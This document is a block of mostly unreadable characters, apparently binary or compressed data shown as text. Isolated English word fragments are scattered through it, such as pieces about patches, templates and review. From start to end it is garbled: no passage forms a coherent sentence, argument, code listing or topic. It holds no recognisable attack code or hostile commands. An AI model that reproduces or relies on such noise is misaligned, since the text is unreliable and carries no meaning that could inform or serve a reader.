z+(X=l{O)T%pFq~qNj`_3_>7+;ZFs>i zk!Rm4oS54~#8Rr=M%24b?xkPtm;F^BN?+mNy{txRE#IzqM^M??Q5R^B$!B zUOs@d=W{-Yj3=7sFV8~ixAT%0t@bSCRY-g_ca?ZI??P(s=Drf|=Mf}-lvn-BR-M(n28plb z4Z$33+JKSt*L z36CN7=W%|DT=!XwTz7)sl=xeoMDnM28fo(k*J#G`U%Ag9<2jG#zG~I!;CGSh&f^bC z{6k)btmoyts>D}w7qSPtc^z^OSP62HMCXy%%4BYWo#Pa-v^xJI6>)eoKfx)r~{ zBgh<$@=fHveTyF==RV@c$am>ac&x<7`6;q~p7HY%f59)2e!b$?$h=JOB%1bcUEca7S4E|TBD?;?9@9?viF1-uB^n~QlziSOiH$aQz~0VL;hK8Vyj#C>Sq z0eArUo^z0o=2&}<@d+gVB!7vlpRf38iC^RE$T-~K5#%{L$~TcV-{RXyojZIN8RvU^ zzr-K#cS!y3`5`i=kGMw8t$xA10%yGsxA83Gy6s$}dB=X^7;oGItGAAkHBC?vKHlQ1)2%jKDPMRgye7LEy$d1<(?An*3 zMD7D$@tG1o%R@*ThWQ-wGm-OL|5)qX>c_Poso%!4k(zUOF0wB=xU0mwc^&fpww||? z_*VWHS;L?3wi4gYpCa$NpK%YeZhN_}#QS-m#0Pl%gAPfPq6KS$nmU+|j} zf6FzRb-ql$kTGfFA*ALopF=)hoaYNjA20IP$o=gbzJ%N>F7s97+-rOrIrk2Khn)L8 zk0CkZi6Q4s@N|jKaE<2uZMn9gSu=e7H@D8c!6V4eutxb|i9h1UNMD}t81g;yI6p7( z7d(lyVTx;HPOFbx3(0Te*+|YDeizwC^LReemj&F1yUHT^ERaBcK#G;=V#o5^s$%gpJ?S&U5?SLv2OQIq@C^D zhi2S(0QqikkZ+gx9lndS;U3>d+WCN=BiDVwFH8ItPa`#FxGwSPw>w7S)$cGqXx2G* zA@OcrhuquO^M(@N$eT)hGjBoKu$6m|b9;FQGCn)`V2K~%K4jhY^8oTYeuF%OoIA|t zknuUs7m&HT$k&ma8$5zM_eZ%#a;kOug0#7f`;h#89zfRfAP<%JFrP!(bDl4i_+`G1 z?9&@DGLNHt6Y1|Q9z*Jn^HZeF&v>%Lr?^J;NVVSahBEIPjWbfGn>QeB+sKEJnn!p5 zSsR0Vyu`oY6Uenr@=%En^9AIy%tgLb;+OddVW*lZ+RLy zcZO@^^I-LRJYSH0b?|)Tx(oO{=TEAjn&09j+7 z^T857#C^#4^z-!+zriEO=g?7}Eb%FxM)GI4M*321vS*RDz2Miu8lK?k5})B3x%XC^ z-FuNSpTk4Qxx;)8sd=6+Ap7njUqZ&=GLHo7d6aJ=*Sf{GkvezyE;9c2_&##~dBD%n zw3A<>dEe&A5})E4*+k#nn`bd2<|`YCG_$?4{GXx1v%X!1X{&e1$WxeJMRb02a)?B@|= zZH)3w3Z$hh$)&h6wy$e1tYCCGJ`@(0MZKICOc{&HS{)LF@EN_;JM zA)i6Ic@vVenGYi89^yV^ZS?a|q+FU+@K_=0(1O=JO+8FYy~Zg65gRH<3EG_%?Fx9ll%Q_xL_?4|%}Pk(?L&5_#`> z#jlZTP4Fa=GsV+re!jysGVj%1$NzO}UsV5%aYpjncowpc+IcRL-@)^doCUlLxz=*- zLi7H~>q>lmVn`o1at~6cmvDmd>Bnl?nAS-c>t+D z$U{iZFrULu{mc)3(|NvB;+OdfvQNL|>m`1JN05Gv@?E4~_qgZ3Yt`)KJ~a10uF>@C zj~X|m@7=r($yv|)koN57ff66&>4UBK4A;mwSBLZ$nY#{t7m3f~g-D%FUWBZN#k{P< zm-7l_Ojh!m5?{+*$TPj050>~L?nBm3KMx@14)PG1G30Z|J@!0bD)GyF1^Ju3-}2QG zzsA>*y?ldjqFH-fBQ>l4-n=8@+{Rr9QmEJ7yKH@ncy1fWA(=zBXdz5 zHg`yV2QNhOJ9!bB`Ql|IzMNMe?~p6G3(flBKBNu(Jb-3x^AJ*Vm@gqekGRa&OZ*0p zAp2{S>k_Yy7;~gf8!trDHeOWXi+N3nujMW@?cw^5xALn$;kd80ma2Zo_3NfiRZaNr zed43}Kj-&ObNqve=J&qZcos5N?L7I5TJb4<=bcu(jprigcJMOfcgB|UiV|PRt4e$| ze~i@pgx~z)*12za%P(o2yOlpiYJS3fvs(H6Jc7hW`F4rl;Tp}qhi!K}ccQufR~-`{ z_58|-X7BX!qW@r`8I#4_hwQ0-9zp(=;3(fN@jHAU8N&zsu*4tnVY>UVJrTG$B_6q*Ck$c8e8Of*T&O7(dzpQ*J!@y>~f4|4R)jD@4??TSq&4-cvBYYoe!vlVZocoB!N_;%W1Fdt%`NBvm{~~{l z)cJ;QBlYj_eWcCE>B0S~=}puWsd3zvV|Cjs4bEd^|?-CwLO6GsU~sv~qUyJ|t&9 z_my}*pF#4^^6e78!(&MPcw!|!!8MX!t<^Rpr=9EH*1A^p6XIy%JlWNXPjQXr-0mOw zTPr_meh0ga`+ob6n&)Fb4) zEq5Vxx_KRvvz|8~KfBq;Tadp+vz50Y=Wgd7B)^w;Aa!=~)e^tPBS;%Y`F4rl;fF|_ zNBp|PCwLOM?iANZ&1#)7L$0-e7a}z~c~OZk<|RnYrM#@fm-8y*?_ICv$r7L98cqH6 zKlP#{us&mguh0v^$m|9IpaKuW=yy)@#^;(6Xe`>o{gM4hv(uS zJ@Gk<-!1WZJRiwlz_b2fE5Ds*BiEY4bCH}5-htHI$@`F;{d}UtPx7e}Kg~lWKFk|- zwd!o-yGWgTJced1@yPC0e3b7a^&jweNY3~C8aa1@Cy};I@vJ}8insGzG;QXtKisO* z&Fhdl>v;o`vynF;*V@e6kow#CQzYjz?m^D&xUS-`}e9f?p%;pWsQPJySf5 zTx*7FB&Yf#)<4p=IXoAs*}RWagvXFRj`Q;pf59)2_PpZPB|gD5 zn!X=4cS!y1+=Ik>`DlqBe3&AX7AyZHbzo}Y7HiTCpWQge`xmiRF~f#jd$Q%Ju~^97{lMZS()>jsY? z`J;Rrsdzm%6DpIevn3gmO&N?wKJtmYo1W-s4H^6&6iiI4MhB>x51 zNS*3W>KBsV#3evah4;FrjCU-4@s zXM!h7e2U*0Y{lDnHqxFsJio*j@Is^wo!nL8-MkKI^LpM;;v0DrQfD)7L)x&NdrG{Q zhmiIR^Esr>dA@+0dy&6Ja=zi~NX`u&De+Ohjf}$`zKfiDk6)wdFW1Pq)t^=$iC^SP z$hnvKI?~P?JciU6=jSE(8}v+IcQgzk}x^`3v}Cq|Kl3Hssvx{3$XopYa|fe=omA(|4Xk@~3#Z#AmohzH_cl zXakbp&U2AE9o&VS+sz-NX#@9^crWiL@twR2S$n&AA5v#OUqH^i$X_FU{Dv=;_+=hJ z@<;h$i9h1UNE@E;7?Ly2HBz%Wsm;hdc5oLG@8%6i{zl$X;#+weGH%=XQ)C=I<6X$P zyLkvXcbLaYe4L*m?SID4k+!|y$r7L9=@OseS%1D&vz>>~)Z`ETLM#3ucOmg^UWe3N z&l`|yZRA~O+Q$2k{QcZl;{7~;jQ=1XMaJY9pFr|Y@|Q@>ulN#D^D-~{s+F^xw;=JY zysgBy^QR^L8TTOddwExh@8&&78}{-+k$G(A`AGf(URdItyacJal$Rkn%lST1^8tT{)h>p5Xm{j$B~>b_*{vf=L;o%k*^~4ukm%H4LA59Qs)tm zmH0S6Me?8VbEN(YeuLz{N@6xStQopzr`^5^gsB>!8!ilz;G9Zef}1j!lY+epqG z?)lkPyq9+&HFxtKimU|wjgu5l|M$>@Co;z`8{4<@-JKQrMwK8m*u<)nU~eP0nJ?V7GynaU zcA7_!oKe1s)Vakql2iTbU-;-9aOybGznoA)5+ z?&W<*d-ii5lGD#uk#n!{^%B3qBPBk{w~=%2@Z%DH!q1U9FZgwdPw>anWgdAOQhz&t zisXOByGndF??clzuK#@*huSzGk@0Y60QJmN9r+;M)5Wb0S$Y3|5p1HMNd-+5G^5}q3T`491qC~5R1 zP?IfjXI5~N6*RG+iGrJ~izY2-((Wp>i)IvT(y}&D=r?IWCoR~-LYwplyED7V?)|+# z=RAMBU+;(K^_=INduQ&=%$Z3DO6d<8n~&Fn#%{nF%V%-Jdwf2QJ3#fFc+&Dyxca?5 zUxW96=G}`MEFZ_$-sk&V$8(_d%;OMLAH4t0#vD-pTwDaIiQr9^-;Bcs-zSK3PMYqx z=hYY<2Yo+b0_Qy7^SL+=^f`V$UJ0sMg;#@~lWTCD&OM|E>!z{Q}QRzK>Ui%R#?07{wvzyDq__%=@^n$;Ta_noc|is+q?jxbOA# zaa^GMA`U_IK|k?`Jzgo|^d0|s^zdw1N=xLLe(;g0(mw+v@OpU>h2(9ga_99ljI z?rzKheb$*P=iGIlho*4rTAy#jGavBzSsC2tx%dva&vS7G^jT^ahu}Uxz3=YE@d}@x zz>}c-6i$Qtj2PbljlGFyK%X_wDhF;Z9O~cH1To_3yZ$r!n!6hlpSbJJLlRef@~-<_ zK87dv`1}-}0exOSi!+wb;?VNJUgCzk{xkGA=LGbfkX)Px`uq~GV?ej@I1nM)4 zM=d{wGoU_Mya1|M#35*|V466*>#z6VIev%nIk&Hs#C@Q>vVJ^g`FVT?wBL0XXDpw^ zA!v^@SW5g#UlaV+a~nrMdu1s+3fhYs!;_%?Q}`OF<~mM;`cLCIaC@6L1FFg51FMD>yFD*j!xn8ebE^ zJ+Jj+d+|w7%_-bx`F=bCT5}4If_jeO9fdx>6Yl}#_u>Z2$8jU*bFLS@-ZH$!@>_8osAoOiXZiiO(eh0=4eqhVH!Ob>&w&0fhFN?IbgphI_ZC0z3S0~t zTY}3$b476oT3b-WnnBOWd|UvkFT^`QH9K)NX#F*~4m58)PJn8X_%Nu?5!?al(}{aP zHNAMW#OKHGWzc$_#Tigd7B5(S5$C-;H}f^Y-FC(0S;`Pg?#o&e`DS&BaBa`Uqb8E}vhAcY*S? zxB)a*9Pb15+>aYA--Hw3&MiI+x(1Kn4$F7qE>NFtJOt`Lj7LFZ$M87lcqi}`Q2kXr z396aGGoUrh;*909c1pvQUz&I9$&$Bm$#O}H6!U9{j?4yrkU zdqC^y#m!|t--27g)#F2;x!Q38w9X{%0QY~F;4VWA?Ns80${g4REU z!wO#?#E7e(v!BbvySS(GeZ`=bv31Y6|Dz#=N1>J9$sNOK%TMDQmcNNZ%Lnzud#vYP z9@B>B-1qUaID}^YANC+loOsT^-%s*bgI*sl!#SYWkhyp{==I?We5cRn@8S%oK8qJD zzlcL{uP6IC4UkVmK1dO#pY!h>rs?_X=lttQTrvBc+c${e@zCcd za0axWkj0_pgW!4Ib3N~0*F~P+IKJ_D_c~+(U%Bsj_d4V%4l8^xixD4<4 z;PdW%-(K7RI`%l80liP0#ijTAnlfAgs)^w)%Xi}*aPLX+oaN_n2yX9a$MYL=KsC8| zIjH{%Tnu{eS%MoZAIFWLxtee*sHP1cvV1!}40_*j1Rn+UJche0-;Ixh<~@OXKz({~ zAE|Oye7%`kOcd zs>$M>kNbIhadn-~*WjK{*u3~8sLv_f2X0RZ4}f|O;%lIu*KrzjEYo<-^7FXplfFKJ zOF{KzxDwQ}3Ri>1*5Fo9O&jh2&DDvIf@+T8F3_=eYukWJEnkK=fyQpeyFfLyxDGV7 z9yfq$;&`9s_v2>JdRlN7Xlys`0oC{7lc2}(6z&7y{cPHdD?s@euC#m=uC{y)uJ{N49FE~_pgp4Pco%4&sunkc`n2Fy zP)!?7fNGMs19UBP;)-W{K87nnW2Ywh7lCRbcoS&s zX1vYv+wl&|@5I%Xufe;(9WSo?ksU8?2K8ydMI+W97lZO8xDVX1;~~%*hH+^5AjQ~U zKJWICA~^G_=iNS178j*0kJp3toi^am^1(FgeEE6zdmJ^m4s^}d;|9?0XvFcZ(C2G$ zE9mz=+He9?lf)gC@5DXe?k#xS@)LN{@>BSl<*(y3sLwPGEguA#jjIbX?)BapTnhT! zrwmtGz6w`^e($~p&%N2#&*KcJK8q7?@ij>t7WtYWLR_5jzu!?pT*`Q^yPzz?-!RFz zeez}aB7eO@`{bAKLe%FM@!>5#e*}jWJ|D!G_h82TzCad-;Qp4~Ut~7sfPSYS7Z-tk zryzpYf@;>`V$ko>mf%uQO&Q(<`n`kAc#Gw?;tJ5%7~W?2?YI*3`|MS?8Z@>BhlhO6 zpq*m`t!Ej|0nL?*^Fa0axY+U~cs=OvTy4M=;O52KK!3MkJFc{R6)t+%juEc~cZ|3g zG;axBZ}|<8e9ZgLj;#vz6@^ySC1<#UxoL9=G~8*E#HD$L4DeA zmtZ~Jcm%YD6dnZ~*BHKR`DgJssOJQpwEPrK!%yfljpr;sk28>>K8qJX>s-VkXs#g1 z`3JW*i$Wzs9)%_3XySL35qJJ)nKvUfc)j*^k3#e0^|%>+VOsK8cTy z`1}dn2kO(0p9GCPjR!10h|hrLJ&T7xYa7PrK=tQw2&xHEJfA`Dg_q$R(0kiloCkVu zn~$$q{yI)uej3k!+nd63pt19K?T>xWb+{Px-oFH|2ld>5OF{3E%Wwr~Yz$X|>Z@?I zc^(8=$c_@eF9LS$qpre;dz%YUc4B&^f$|GnUWd5HvP;mNkRwBe)neR|(!^`OUZz zR9}UwEnkD{Kkq>aRS_P5_f>ccH*O;H5|iTpt-v7sO87-xaBAC z70}qLcoH<%6i$PC&fpv1&J~`q{4Acc{5;Np=E~v)&^cVhA!vUu_*rJ-N>HCwxBxV7 zAzlp{y9O75JBPRww1zUg2~@KgkAiB(@HJ4M>o^Ts|1>W67hh9|i$G%|c$4Kf<1L`E zTX6+wYz*%L^{>TsmaoS*#(n-KE}F2O_{pF9{AoM@nrjeWwEQJJ3hFvQo+&~dH8`>y)@e%uIJLlb@g)aOCm44StEcY)^Z#yy}u zy|~Zv{dfpeKa9_T`kcq(ps^G93h10%#gmqw!q+T+9p3@Yb)sKzfYoM{$apk1X zSK%F?_3Xsepm}TX#aUl-32%DQpU=&>3*52bPdLSv(G^pTJi@b6v%gp!zAC2KAZ7GoYGTd<)d)Hl73Bljm^;G&YNi z7JN+v7lX!@;Bw1H@g`9HX1v4lJ8?DWyw%`cpqg5|4>a$7+-UhG+-mtYe8}?cIAQrD z?gI7f#si@B4B}0TzUO9K0h%j@w^@EWt^^%p6>b3aiQ_b=ei|=-+2>c_JWxI#uLiAo z4K4!B8^NWZb6bYTLtit2uYty1#|xHU#35*G5M(!wyg%#q@Kd;PYu0^dpb2Lxd_Idq zaKA4f%kn$vS@%A48s7o!wcf>{<%2kJbJp)mv=IMUcH`22;^)zy6CcQKta*IN*5DvH z(EoS24CjFUZ^~S}9Q2-d13|E8t)Zks9?*r80I?(&&dfWi2kK=uy*NXdbALv;6@epVY!}uvs z&C~cC=y$!(|{&+pO_2W{|TxGZ%)H8~=fck93J3#B- ziK{{DslmHI=cE?bfyUP3J)r)3aRaC(j`xB7KE{6B2s)M~`~YYT58_tPTy6LesHPn! zKz)+Xbo5K zB&g>Uz6Pqlj?}7r!Z$!;Z_1XR$04}CPx26bKs94H4eB|KGoYF*zVeqo ze-+Pw^0T<&kRKbv;ltK5!J5IX87~L*T!B}E#;(D)KsC2z%g^IGp!&Nw1l0sd;t{)c zQXFGC>-GSr@HNo+ypBW52h*$pbRFf&pz~aX!_eo0;03<7_JZq^i}OIA5#-~QmS2Sn zK>MqOcs1zrg*CVcR3E`tEPoYWv;1|Ow)`}n0qtAP;#;7xxAC0i=kdxVFSzS&6)t$C zpQ{j;g2tBNZI<7TD?w|k!quQ_wg%UM)>)4mKtE68xYhD)I0W?!ev9(}T2C%61&uAk zb)cU0_=@GP;z`R-;k4za@hx!2h370kk29dTvUtJri#P}b3nZhBsW7$f7P)!RS0QDKfXDojf4}r!G<13cGim!p{uj4eR=QO@y z`I|Td^$$Mq!p7yG`V}}2l+VZ2pz~RSkKgC>CvXqwczf}Pl7}`nTX#%eUb}mT$)iP|qap0?pfv`#}Bs@c^jLARe)N3Xg)u zj^WFoH9U*QEkA)LL1U+I8dNilGnUWd5ZpP8vHm?TxbLXM@j$~1?)Awa4ng0c4dT>* zzNZ?;9iQSk&398f@ljCz814dnf3+K*1l63v1E88g+`7-_+i(K(J=-MiuzV-(0@nv0 z2i2UwnLqMlvp59hgGS0{W(C-{A!(kuyFZUTM@!!ATzjyQx+=s#a zzdyL^M?T+;PlEEN@POq9@et^9s9_wASf3Pg{g}sz*JjIb4(N4eE-nD=Zx`assLy9{ z(XV}d1g{0vtixTPvEBGd%b&&rmLJ4Vf#!M|p98mljz>Xb$M86)W&%%IehQ~S_0#wU zsOBav`Y%5=f-6D!DqIb!ufcVo{`I&4R1?Q(%TMFH8K2L`MWFf!F136auCROzS6aRb z@38z%Tn+j>q6Y7?{C?aBT2B*hwtNeI3bdZ5@ucOaa2oWv$uw^MjbBd-ZUxo1;RL8> z5|4w{Jb??czNQeDf@;ceIjAOzD?oi>xXbe0xX<$ac<2RRKaA6$`e}T_@;C7<%imVc z^7FXvML%ynZUBvq;||aoI&l|hZQb}d=y*@yfdyYPh$}-swhC8+>TB>W&}T8VI0W?! zf){z6_M+Ph%Efu0*Yo*!C1{Ug6)phnOBCYOpqe#!?iDY({f&9N0Lm}o5L6#5r4MKi zWECy|)fD0)P)!6^fNEm6((+Y!hvj$TYS8Qd8r)#{IBo>>Y{IRUZ^MT`>u<*i(Edph zcYx|U@lntkj^QrQ8oF^GsHPu33931b2S7E0cnH*g7>`&!g-1bS$M9v#Ka0mfeI{__ zD}A3Tde=Rp0>;}KB* z6rKdFa|&Ox{B@iL^_<3&_gM|T2I_Mir$POv@hwoF+jtICGmk^d2NgV*K=bC}<)HJq z0yl%kw%`Mx=fFYS3R*)OJ_M?7$32$s#eJZ${dmao!}y%#&*Kr$I#YNQw1zP}2O2w% zGoUqR@q*6^ZOGcM}$`3PPMs$YjIEFZ&_;QHeopqia{2HgH0 zp0oTs4lN(_a~?)sbl;81;t<^bE1Kf^1^4|ETn_qv!xEZvM z)PiTSzRxT!dco%-cnH*g7+La)qR8xZ2gT`*arJ$NJya`mZ8E*mAY{eCzni$??`C43O`Fh-F z`6m1TJjefI^&oBr^=!edpq_2`5U6K6PFOyP4};Fh5jD>_j)OaENtAhe!+ciQj6w zeU|UX1C}4e=Rjl6;}Ou<6dnbQ9mC_GeSisk#qwA2B&dE0r$IH-cmR{u`M_OI-g102de4EBcQP< zJPN8G!{u9iO%x|UHA&n9s_DgNKz+{QA!@> zElGSWvEcR@uHz7t50X3<9sU~W#+x2raC^L)@yvI9eiru(`+P4BN9>wP@jL|gJ3jcv z&lcPs#Z5d1+E1Rx8Ovw!0;qlwm;Q^dFT+LSJ|DrYKlk}I+<4XZX~JEgJ&^7Wsc>7u|P&W4Idh9pf6sOBP*C z4Nkn;=aYC~xz7*chE+Zv$31WG`Cfby^u6L!I0W?!3aA0)dvPCV4gEN$(AVVRB2Y~P z@3H(|+yU;f!{>^8{dqhB%BS!Z%U{KlpgvQ0#`3dx4pcvn?^ymW&VcH(IJA5aq5i%_ zx3@NrGoa4|vpBE9=kswTC|`w}E#HFAS^hk}WBI!{w0saFu3q%}T{VjvFE%W?J%LMj z610Cch370kk3(?(-&vd(+&;h`68|OVf<1@e5a$z=&&7G5J%oH*0NQgX#H%g828W-s zJ`Zy&pgvVHXlx3Pg7zQA@G}Wte*uqz>c{XnsD1)pvHVq>0j(#C7eF(iF+3P_rrS^H!cNz=Cur;1byap3ip9t5BK8%P|YAd1FAWT&sqLFF8aE!kKhVW zO$=|d{C2zx)Tb8Lfj%Rv#|@T`$f{9e2d-0%M2R?u8+ zxCb;>FFpyXIfV=U#@7_$B2Ye}9B8g}xK#h9PZ=IKwQ2m3r!}6WD2i*E`pXK}U2&g`V$1OjB8@}uFaoh^-Jm3Uq z-XuN@>Ujirfoi((faM4A8Oxu=LzW-L=RotG$D^RJV>k`!IgM{v{wAIQ%{z2%5JEKLDzE5I2KrT5!VhNjzZrK|BN+JB-IIKY_1+)^in4f_hHj8BotzJZJfN zoUwcsFMxV3;?VNJF!57%oj$#|u^jZBt0)dZ_qyQw#NfV*^#kH_JTLVft@FgsupaI+ z!3FLKBa80$uW#cy(C=T*;|0qv;?VLzis#{vSr7XRy|@qbJ-2@Rq~%ZJ0nq-#ARe;( zFdhN7cY(((KY=Gfdm~f$8feetI!=S;n#MDrp0jw)^7A+Y+SAD59T$DgPFx2XTaOz+ z^TzQ$(4O#q+-UhG+zhI3!L6XV+Hk`qpO524&^nv&0m~o6t(I@Yhe2bH;7L%=DVzqk zzl7&NHS>7nr@khIM?w9^@MX|o^0d$>PxR!9VgigL+os zI#5kLZm@hD_kq^aj|VJ2h=)M+!}uI%uJiaAQ2hlw4(dOFb4GoAE?y0)S%XV0Uxq6{ zePVcM%=+Vj%f8Pb&Y8A8cs1zpU4x52b4745=sfUc%8lzmJvZP|(3;EeCeS(Dj2kQ; z$NNBi_TvG|58@$EpJDtIsOD*W4m8(!{0yl71w3N;6wX*ai$hSK;6M2J0;(^>MWB2H zueJO-Tnd`243Ahog)dtE5+1eu7`_JX8o{OiX~&D_e(n3u-NAV8J@5I%h zd24VTXl?bl0kq~gZUjA!O}H6U--3HUHNChGG`1fPSbh+n0gXM2hd^V8aqFxf+lCXM znk4Q5_36gPLH$qQ9?SRQA^`B{7m)c-aPEg$?Z*FLC! zE?y2=+X|cqI_LSg0n{^&uYj8iXFy}KcmdpT;Sf|4%<))*#xBFhLHQH74>YzP4}g9~ z4C12y^EDA%3hG&gD?xp#a5Jb+3qAmOE&nXO0vdZ2Pl9Tu@C>NWEWTy=+j!uP?>UG^L1V}8xaB8s8g&1h z#xs_m#dDzgdE9!}_iw{ppmlcR^_CXw8c_1g$xEk>>;G zHAXHj2K6t&)u28#xDGV79yeG%jypj0owy5B(~WyTV|#JVg0IQN%R%$5z$-yDt8f9R zPa$3ns#$~kEZ>ix1U;Wm;{j03ARYqEJB&k6pJ0)BLHS%<0m{elHc+4KxYF`f_z-A4 z?RdoUDLiWVF?`wb&*E{=8YXbwOTK?TUJ35FaDn9u@oLa>at&T<`E|G$)TacOf@;d} zNa%Z}@F?h5#_(lO{j+!+bX*ho3h215;z>}SDVzq?OyfJCwcW)TP|qx00M#tw5L6Qc zFY*5{zU1~*mf@ULFS+k5<>KX_??J7=d7$r5<>La-_nHdvCeU}EHscD={!9#4g2q{CPYA>Yu_lEPoScK=oN%S>Wfb!quRB z4Q{Y}95;gcG~v+lK_O#7^;NhIwElX$$MSn|18B{0ybn~fA2))|RTF-|@(P<;!| zSU!tG&>Dg_@>qc8U50Z&J#+C&(AZTty~gLK@eC+Gi|0UN=kXoT*t<9c*ZQ~_+P)!7vg2tBN3Q$c9SAsh~xC_*$8~1?fd-1uq`1

xybiy!9Acp zz4#<(>?z!5`F@;!yYDlNZ-8oU;u+Aqv-s#ezRxjSUF`EUxb;4tZ^MT`>uJXc%O~+I zP|w@=feK&$AnpU@`|&x;pT{GXPvKF^kKu7p{|S7<@;C7exOL(=P|tas0Udi5FMw(m zaR}-Y#E7e3@_R=$#2;h4{zm049y`!?{Bm&tC|`(IgTAM?26usKx^WNaJAS=51FFyB z(DFg;OB>gM>eu10!RCs;wDC;SOYU>wvv>sbd2tFi9Q64(ZUlX%+=L$h)jWu2KIdy@ zap}XprVNJ(pAVAcK%bj;fWp!^gLe`WP)t~*eE8O{NH7L$uBK|QN*gXQCR-0~B65EN9&Z(It>FT=&4u_buD^bQP@i7h2im{t$4`RlPvZel%^*Hw`LlS)^27L|kn)1bMg@eR=0ZsHls&*Bg?Hi!{7yzD+>4dO5JyM!;h&t>Xyn0VQL zM>_fP#(j^z?7nZXA2))&bJBzlSpFdH0(}>v8~1>||ImxifWE7677u~GlQ4|WS^hj8 zv3v?&vHVp$Y56I94fOqo>o^VSIgMvP^UmU>9X`Jd=YZzQ#YKHSAHi$ku~SRly$%su{*3mQUfLzwz}ETnt)I2`&Y< zPFw-%8N&^rnmBF*)imJ_aBIVTmhZ=NmY>HN(AX>vL1Tk6JVxL3Ypch5Ks9@D2dJhK zcY)U5jgNzBPT&F1yo0#ndp;k-4WN7+?*sMOj}xFiNqiF2=M;X%@)z*MAzyz9kAnJ) z;WTLMG`;~EdlM&~@-<1^1DdNBpS1ibJOu9i<7YrM7w`zEPYREN=9<8hpqeS11~)IB z1J%sq3}|c?FMZnQm*E^xJ{OmQ`jp`WXlxR9SiTc?f$F>QjOAzXEz94=8PM1)4lN&i zpSeK&b8*K7zs^p46x8z=?gG_x4(04Gd?up^X<3; zG`15T1veM&vwS}u0L?XsGvl^?9D-ik1QW!QFZBmE$ zvBP*0R5OM5-1PaqcpoUgA0GgXJ&0RDW7}}SZC_J}OF{WEyvg#LafRh$cpIqCcH98! zAIJMZWB21mP)!ql095lJZnk_2&V;@`i$id)MT3y{*P*+gFT**Y`+P1g2K~G!!PTI9 zehsbz-IMEagXQCRAE0F}w}5hV8f#R9}VrKz;i0lc1W@cmOolAkKhlvN*lekDbOd zp!_Vp1^RC1Z9E6+Gml%B`IGNmt5a^r?;}K9z3SR_` zy@cz2%jfHHE2w`P?y-C?9tG8p;c-yS1il68c^l7JejXR+`1P0I^`JFuz@?zEWq1c@ z>`q(_I^G(*2UN2cH-N^*aU*CAO}H6!u3B*4dwrjN9D-_sO&k}fe?4vh*9SLRz6m#j z>Ra$(%OAmAmhZ;LL35qJ=RiHr<7Yt6s|z^s0iRFe4p4n3?h>rO8~1^pSN(VZbc};| z6x4GJkArF^@RbUmzltY8eWvgY%iqKcpgxN@w0sZ?H|BvpFV4pWpwE#D@mj%ky$+Xx zYRYgqs3wZ{fx8djMsS~N<7QBO3vLC~wBbXbvF*46RNslaKsDX?@HRj82wqv|^Q&+H zxV7QcmS2O5Kz$;()beGx-11S}2wG1Qz6hG@624;jtGKA%=OefRG*=8)TfPSG0`;lI zb(XKk4WKo|aiis%a5Jb+3qD}^gE#@|lf;vjpTcQSpJ_a2`FWfH)o1aOpY-cIjn9Dc zXYo^(e;Ut#=AFfJpq}&i4ygVv&R9N+bN2Y2xi}A0laE(|#;(F0p!3#=p9IyM#^)@5 z9?yWA7iTP=#S4~S#386>u$Os3^|?3?l+VYlp#E+6D5&NbZv1^;(}W)Y{mgw39{|-K z#66&O_Tq{^@c9_t0qVaKryG3DG@b+H=kXoTTz7E>)H910KsAdv1oaQ%{QLra4{#Y? z4*IU$3Y-Vpzskpxf8=YXa2k}K#zl=jAHl_-d*-r^)xp z#d+Z7#YL8n;5tyBdi z4}T}F2JP+F;9Zul#dV<14(f3$XrI3g9|G04a;Z^4tG{!{oG=$u@~GoZ1v_!emFZ9E66na2fR z@im2bHK@-TTx|IgTx$6;Tmf2V3|E4BR^e*UTs623)W06@0oClq4WODhZUoKMgdec{ zgSZ*=*tOtR&|Gc!5NK>WK5F@6xC_+38$Sc8xqwGNYe?aXpt&yL%b@ya@wnwD@FZyL z6ut)T9O4_6zlmo+pE=IrLx1J_wBs(&*lv6r^m+6Ne8uut@g(TDrf?c`T+{dtXzX2_ z0j)EOL(n>dDiHMw{>sQ(IFVEIB^1gekVwV?j%@OseL4Y(9^TxEEZE%@x7NEq?;{S-u|+Sbh)>S$-Hl1zOM3c*OE4JPGPQ zh0~Uw#y3FgyoqN(HM4ljSN$5c;tEjD7~W<1T3iQOe?4xnd>l7|`ZVF=mOp`eKz({~ z;#>Au;0{oICq4=~_G7pURNswzKsCL1<&(Z<6)phP6ynvO^{l}~;Laf~28}Jjn=HQ> zZvlPkePJqTH@nKN^BlxK0kKry*eK+p0 zd@s&`){w1 z%g^FlpyR!bn}6i{wBQ4v`h&RD@@+T)>Yv2pmY={^K%I)jD!khAYj6?h_c0^5_& zy?5@!iC?oO#wPJNXblrM4eB|K=PW;uGoUqOacKGAzgPokt_a=)>a!VFfa+to+VVAc z7iivE{8Z@cpT_4v`SW_mqbf_mr6L*jVC1V%aV3dEs}FvU`1h<&H8s`c z#fO*jH{6KB>hh0#Ja~N&)DYKL%}2|_B_A#St8ef(lwLuc_-J|N8^N1{B=O@PE${nX z&T}7e`lIE4(9iKs6Ni=$KE^sf=KDm5D?V0UeRwIqZ%*9sDW8vjik_b;|JO?aYakB) z$mVS%-&p>M$Cj)KlEfp8nDV`tv_c99n(Q#2T8)x8J|y ztwDsiqN)6E?_cufAVxgWRDPjqNl}m@uKtX#srgKKSofLoPv6g6^~4RIDgSoIl7b*k z9Db(!u`2!k?;jI4+vD3p{E)5rFNqJ?W8F^wc3+<&4%^GW%bJ7WbHqQl`d<+L!at6| z72+%9ZQlu22f_oGI40@45DF}6aDz5;9WtGOZ=+n;Y&eT5WJfBHPL^( z7`!bAUQ3)8{WBNm6R(WEZ&dkJ#056Cka)e-Zy-L@r> z;MK(7=2}h+^S`^~ZNUm+c=t!R_FqE`@A)8)>1&DMXCGYht{{&X%6}3R1^L9keQ)%$ zA6)Xz;B~~%ubP#_@aD=TYlBt9@Y1EAICwoV{OxvX-arh$Qd~d`tsmm&T_G_%ad_!_ zgEtbxAFAd}#Bh(!&uZd#-5c%uG3Vi4VyOKf>n|mSJ0D^_WyIj-eK#>|+{S0h8;QZ? z%Zb6QKS~V$_hYV|_YlME#b90VUSe?dn}}iZ@Y1&jn~7oZ@X~d``-mY{xny1NeqtEf z#&dfMF}QVZB?fnGet;NU&-;kMjjbRCmyZ!Q*m;f|_UJTwDB#Ha(^^b2q@qqOo zBtB#Lv&2L9Mh~`e9)^j}-Rqwl=ZT-Ob9jOHM|SKZ_eTE%w9fy;zXqL?|H8k4$dRRG z|Be3-^mzS$I0SdzQpEqy&fDa@(FPcK@6tEL@e}YVo^Rj6KeYUha0oR=IB!$LbGEj5 z;yd^H=k{IVtR2@2#Nf``i^QQFV^B(5>Ys-}8F9H?7g6H(*md+?;!SofY$o0uefB3j zrosD&xA^B$u$6dgwBVwyyAKe5z^UW8MH~Qlrt7aSVHh*q|?ZhAS 